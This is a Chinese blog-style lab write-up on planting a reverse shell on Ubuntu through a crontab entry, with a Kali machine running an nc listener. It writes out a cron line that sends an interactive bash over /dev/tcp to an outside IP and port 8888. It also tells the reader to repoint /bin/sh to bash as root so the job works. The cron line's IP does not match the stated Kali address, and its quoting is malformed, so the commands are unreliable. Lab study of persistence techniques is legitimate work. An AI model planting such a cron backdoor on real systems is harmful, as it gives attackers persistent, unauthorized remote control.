实现Ubuntu计划任务的反弹shell

一、实验环境

Ubuntu:IP地址:192.168.223.156

Kali : IP地址:192.168.223.152

二、编写crontab计划任务

在Ubuntu的系统中使用crontab -e命令编写计划任务,如下所示:

作用:是将一个交互式的bash shell的输出和错误发送到kali的8888端口,并将输入也从该端口读取。

三、在kali中监听8888端口

nc -lp 8888

-l:代表开启监听

-p:代表指定端口号

结果发现,等了两三分钟,一点反应都没有,没收到返回的shell;

因此不得不在Ubuntu中查看它的日志,使用

tail -f /var/log/syslog查看

如图所示,出现了No MTA installed ,discarding output

该信息提示没有安装邮件服务MTA(因特网邮件传送代理;Mail Transfer Agent),因为cron的错误信息是通过邮件发送的,所以这应该不是报的错误,为了能够查看到到错误,可以采取以下措施:

使用crontab -e再次修改计划任务,使得错误信息能够输入到一个文件中,方便我们查看

bash 复制代码
* * * * * bash -i  '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1

可以看到,不存在/bin/bash这个文件,或者说是没被找到,也就是说linux中cron的命令执行的shell环境是/bin/sh。查看后发现,sh是指向dash的软连接,由于dash的shell是没有交互能力的,所以要将sh的软链接修改为bash,注意要在root权限下进行修改!!!

bash 复制代码
ln - s -f bash /bin/sh

再次修改crontab计划

四、在kali上监听8888端口

可见远程成功,成功反弹shell!

总结:1.在编写crontab计划任务的时候要在root权限下进行编写

2.要将sh的软连接文件指向有交互性的bash上

相关推荐
ambition202422 小时前
操作系统同步:读者-写者问题与读写公平法详解(附每个 PV 操作含义)
linux·开发语言·数据结构·unix
zmzmzmalo2 小时前
Linux ELF文件加载与内存管理揭秘
linux·网络·数据库
三言老师9 小时前
K8s集群运行时自动化运维全覆盖落地实操(下)
linux·运维·服务器·网络
ltl10 小时前
HAProxy HTX 与 HTTP 路径:内部表示、改写落点与协议分叉
linux
ltl10 小时前
可拆分 OS:CXL 内存池化如何动摇本地 DRAM 假设
linux
ltl10 小时前
Tetragon 强制执行:Override 与 SIGKILL 各自保证什么
linux
lengjingzju10 小时前
编译与调试完全指南—第6章 性能分析工具
linux
躺不平的理查德11 小时前
嵌入式 Linux 系统移植与 SD 卡量产镜像制作
linux·运维·服务器
一直走下去-明12 小时前
centos7无法安装tcpreplay
linux·运维
吹什么轩12 小时前
linux网络:TCP套接字基础
linux·网络·tcp/ip